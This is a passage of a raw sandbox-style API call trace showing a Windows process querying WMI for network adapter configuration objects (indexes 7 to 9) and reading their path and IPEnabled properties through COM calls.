ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.670] IUnknown:AddRef (This=0x881750) returned 0x3 [0272.670] IUnknown:QueryInterface (in: This=0x881750, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.670] IUnknown:QueryInterface (in: This=0x881750, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.670] IUnknown:QueryInterface (in: This=0x881750, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x881754) returned 0x0 [0272.670] IMarshal:GetUnmarshalClass (in: This=0x881754, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.670] IUnknown:Release (This=0x881754) returned 0x3 [0272.670] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.670] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.670] IUnknown:QueryInterface (in: This=0x881750, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.670] IUnknown:Release (This=0x881750) returned 0x2 [0272.670] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.670] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.670] IUnknown:QueryInterface (in: This=0x881750, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x881750) returned 0x0 [0272.670] IUnknown:AddRef (This=0x881750) returned 0x4 [0272.670] IUnknown:Release (This=0x881750) returned 0x3 [0272.670] IUnknown:Release (This=0x881750) returned 0x2 [0272.670] CoTaskMemFree (pv=0x8a2ec8) [0272.670] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.670] IUnknown:AddRef (This=0x881750) returned 0x3 [0272.670] IWbemClassObject:Get (in: This=0x881750, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.671] IWbemClassObject:Get (in: This=0x881750, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=7", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.671] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=7") returned 0x82 [0272.671] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=7") returned 0x82 [0272.671] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3ac [0272.671] SetEvent (hEvent=0x2c4) returned 1 [0272.671] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3ac, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.674] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.674] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbce8, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbce8) returned 0x0 [0272.674] WbemDefPath:IUnknown:AddRef (This=0x8bbce8) returned 0x3 [0272.674] WbemDefPath:IUnknown:Release (This=0x8bbce8) returned 0x2 [0272.674] WbemDefPath:IWbemPath:SetText (This=0x8bbce8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=7") returned 0x0 [0272.674] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.674] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.674] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.674] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.674] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.674] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.674] IWbemClassObject:Get (in: This=0x881750, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257a18c*=0, plFlavor=0x257a190*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257a18c*=11, plFlavor=0x257a190*=0) returned 0x0 [0272.675] IWbemClassObject:Get (in: This=0x881750, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257a18c*=11, plFlavor=0x257a190*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257a18c*=11, plFlavor=0x257a190*=0) returned 0x0 [0272.675] IUnknown:Release (This=0x881750) returned 0x2 [0272.675] CoTaskMemAlloc (cb=0x4) returned 0x8a2f18 [0272.675] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2f18, puReturned=0x2575b1c | out: apObjects=0x8a2f18*=0x8bf0e8, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.678] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8bf0e8) returned 0x0 [0272.678] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.678] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.679] IUnknown:AddRef (This=0x8bf0e8) returned 0x3 [0272.679] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.679] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.679] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8bf0ec) returned 0x0 [0272.679] IMarshal:GetUnmarshalClass (in: This=0x8bf0ec, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.679] IUnknown:Release (This=0x8bf0ec) returned 0x3 [0272.679] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.679] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.679] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.679] IUnknown:Release (This=0x8bf0e8) returned 0x2 [0272.679] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.679] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.679] IUnknown:QueryInterface (in: This=0x8bf0e8, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8bf0e8) returned 0x0 [0272.679] IUnknown:AddRef (This=0x8bf0e8) returned 0x4 [0272.679] IUnknown:Release (This=0x8bf0e8) returned 0x3 [0272.679] IUnknown:Release (This=0x8bf0e8) returned 0x2 [0272.679] CoTaskMemFree (pv=0x8a2f18) [0272.679] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.679] IUnknown:AddRef (This=0x8bf0e8) returned 0x3 [0272.679] IWbemClassObject:Get (in: This=0x8bf0e8, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.680] IWbemClassObject:Get (in: This=0x8bf0e8, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=8", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.680] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=8") returned 0x82 [0272.680] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=8") returned 0x82 [0272.680] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b0 [0272.680] SetEvent (hEvent=0x2c4) returned 1 [0272.680] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3b0, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.682] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.682] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbd58, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbd58) returned 0x0 [0272.683] WbemDefPath:IUnknown:AddRef (This=0x8bbd58) returned 0x3 [0272.683] WbemDefPath:IUnknown:Release (This=0x8bbd58) returned 0x2 [0272.683] WbemDefPath:IWbemPath:SetText (This=0x8bbd58, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=8") returned 0x0 [0272.683] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.683] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.683] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.683] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.683] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.683] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.683] IWbemClassObject:Get (in: This=0x8bf0e8, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257aa08*=0, plFlavor=0x257aa0c*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257aa08*=11, plFlavor=0x257aa0c*=0) returned 0x0 [0272.683] IWbemClassObject:Get (in: This=0x8bf0e8, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257aa08*=11, plFlavor=0x257aa0c*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257aa08*=11, plFlavor=0x257aa0c*=0) returned 0x0 [0272.683] IUnknown:Release (This=0x8bf0e8) returned 0x2 [0272.683] CoTaskMemAlloc (cb=0x4) returned 0x8a2f68 [0272.683] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2f68, puReturned=0x2575b1c | out: apObjects=0x8a2f68*=0x8bf420, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.687] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8bf420) returned 0x0 [0272.687] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.687] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.688] IUnknown:AddRef (This=0x8bf420) returned 0x3 [0272.688] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.688] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.688] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8bf424) returned 0x0 [0272.688] IMarshal:GetUnmarshalClass (in: This=0x8bf424, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.688] IUnknown:Release (This=0x8bf424) returned 0x3 [0272.688] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.688] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.688] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.688] IUnknown:Release (This=0x8bf420) returned 0x2 [0272.688] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.688] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.688] IUnknown:QueryInterface (in: This=0x8bf420, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8bf420) returned 0x0 [0272.688] IUnknown:AddRef (This=0x8bf420) returned 0x4 [0272.688] IUnknown:Release (This=0x8bf420) returned 0x3 [0272.688] IUnknown:Release (This=0x8bf420) returned 0x2 [0272.688] CoTaskMemFree (pv=0x8a2f68) [0272.688] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.688] IUnknown:AddRef (This=0x8bf420) returned 0x3 [0272.688] IWbemClassObject:Get (in: This=0x8bf420, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.689] IWbemClassObject:Get (in: This=0x8bf420, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=9", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.689] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=9") returned 0x82 [0272.689] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=9") returned 0x82 [0272.689] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b4 [0272.689] SetEvent (hEvent=0x2c4) returned 1 [0272.689] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3b4, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.692] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.692] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbdc8, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbdc8) returned 0x0 [0272.693] WbemDefPath:IUnknown:AddRef (This=0x8bbdc8) returned 0x3 [0272.693] WbemDefPath:IUnknown:Release (This=0x8bbdc8) returned 0x2 [0272.693] WbemDefPath:IWbemPath:SetText (This=0x8bbdc8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=9") returned 0x0 [0272.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.693] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.693] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.693] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.693] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.693] IWbemClassObject:Get (in: This=0x8bf420, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257b284*=0, plFlavor=0x257b288*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257b284*=11, plFlavor=0x257b288*=0) returned 0x0 [0272.693] IWbemClassObject:Get (in: This=0x8bf420, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257b284*=11, plFlavor=0x257b288*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257b284*=11, plFlavor=0x257b288*=0) returned 0x0 [0272.693] IUnknown:Release (This=0x8bf420) returned 0x2 [0272.693] CoTaskMemAlloc (cb=0x4) returned 0x8a2fb8 [0272.693] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2fb8, puReturned=0x2575b1c | out: apObjects=0x8a2fb8*=0x8bf808, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.712] IUnknown:QueryInterface (in: This=0x8bf808, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8bf808) returned 0x0 [0272.713] IUnknown:QueryInterface (in: This=0x8bf808, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.713] IUnknown:QueryInterface (in: This=0x8bf808, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.713] IUnknown:AddRef (This=0x8bf808) returned 0x3 [0272.713] 